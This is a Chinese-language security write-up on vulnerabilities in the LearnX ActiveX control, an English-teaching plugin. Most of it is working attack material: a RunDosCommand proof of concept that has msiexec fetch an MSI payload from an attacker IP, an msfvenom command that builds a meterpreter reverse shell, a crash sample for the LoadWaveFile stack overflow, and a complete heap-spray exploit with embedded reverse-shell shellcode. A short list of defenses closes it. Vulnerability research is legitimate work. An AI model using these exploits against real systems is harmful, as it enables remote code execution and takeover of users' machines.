LearnX控件漏洞挖掘与利用
字数 1223 2025-08-29 08:31:35
LearnX控件漏洞挖掘与利用技术分析
前言
本文档详细分析LearnX ActiveX控件的多个安全漏洞,包括命令执行漏洞和栈溢出漏洞的发现与利用过程。LearnX是一款用于大学英语教学的ActiveX插件,分析发现其存在严重安全隐患。
分析准备
所需工具
- LearnX安装程序:可从官方下载地址获取
- COMRaider:ActiveX控件分析工具,GitHub地址:https://github.com/dzzie/COMRaider
- 调试工具:x64dbg(32位版本)
- 漏洞利用工具:Metasploit Framework
安装与配置
- 默认安装路径:
C:\Program Files\Pattek\LearnX - 使用COMRaider加载
.ocx文件分析控件接口
漏洞分析
1. RunDosCommand接口命令执行漏洞
漏洞描述
RunDosCommand接口直接执行传入的系统命令,无任何过滤或限制。
验证POC
<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
target.RunDosCommand("calc");
</script>
</html>
高级利用
使用MSI格式payload反弹shell:
<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
target.RunDosCommand("msiexec /q /i http://192.168.245.128/r");
</script>
</html>
攻击步骤
- 生成MSI格式payload:
msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r - 启动HTTP服务器和Metasploit监听
- 诱使用户访问恶意页面
2. LoadWaveFile栈溢出漏洞
漏洞发现
使用COMRaider的fuzz功能发现该漏洞:
- 选择
LoadWaveFile函数 - 右键选择"fuzz member"
- 生成测试样本并执行fuzz测试
崩溃样本
<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script>
var buf = '';
while(buf.length < 1044){
buf += 'A';
}
target.LoadWaveFile(buf);
</script>
</html>
漏洞分析
- 函数原型:
int __thiscall LoadWaveFile(char *this, char *a2) - 漏洞点:
sprintf(&v39, "%s%s", &String, a2)处存在栈溢出- 目标缓冲区大小:0x114
- 无长度检查直接拷贝用户输入
调试技巧
- 附加到
SysFader进程而非IE进程 - 在POC中添加
alert暂停执行以便附加调试器
3. CMPGetWordScore信息泄露漏洞
该函数直接使用用户输入作为索引读取对象内部数据,可能导致敏感信息泄露。
漏洞利用
LoadWaveFile栈溢出利用
利用条件
- XP + IE8环境(无DEP保护)
- 使用堆喷射技术
完整利用代码
<html>
<script src="heaplib.js"></script>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
// 反弹shell的shellcode (msfvenom生成)
var code = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%u8907%uffe8%ub8d0%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u6ad5%u6801%ua8c0%u80f5%u0268%u1100%u895c%u50e6%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%u6a97%u5610%u6857%ua599%u6174%ud5ff%uc085%u0a74%u4eff%u7508%ue8ec%u0067%u0000%u006a%u046a%u5756%u0268%uc8d9%uff5f%u83d5%u00f8%u367e%u368b%u406a%u0068%u0010%u5600%u006a%u5868%u53a4%uffe5%u93d5%u6a53%u5600%u5753%u0268%uc8d9%uff5f%u83d5%u00f8%u287d%u6858%u4000%u0000%u006a%u6850%u2f0b%u300f%ud5ff%u6857%u6e75%u614d%ud5ff%u5e5e%u0cff%u0f24%u7085%uffff%ue9ff%uff9b%uffff%uc301%uc629%uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5");
var nops = unescape("%u9090%u9090");
while(nops.length < 0x1000) nops += nops;
var shellcode = nops.substring(0, 0x800 - code.length) + code;
while(shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
// 堆喷射
for(var i = 0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("Spray done");
</script>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script>
var buf = '';
while(buf.length < 512){
buf += unescape("%0c%0c%0c%0c");
}
target.LoadWaveFile(buf);
</script>
</html>
利用要点
- 使用
heaplib.js进行堆喷射 - 覆盖返回地址为
0x0c0c0c0c - 必须通过HTTP服务器访问,不能直接文件方式打开
防御建议
- 输入验证:对所有输入参数进行严格长度和内容检查
- 禁用危险接口:如
RunDosCommand等 - 启用DEP/ASLR等缓解措施
- 使用最新版本浏览器(限制ActiveX控件权限)
- 对控件进行代码审计,修复所有不安全函数
总结
LearnX控件存在多个高危漏洞,攻击者可利用这些漏洞实现远程代码执行。本文详细分析了漏洞发现和利用过程,提供了完整的技术细节和POC代码。这些漏洞虽然涉及的技术较为传统,但在特定环境下仍然具有很高的利用价值。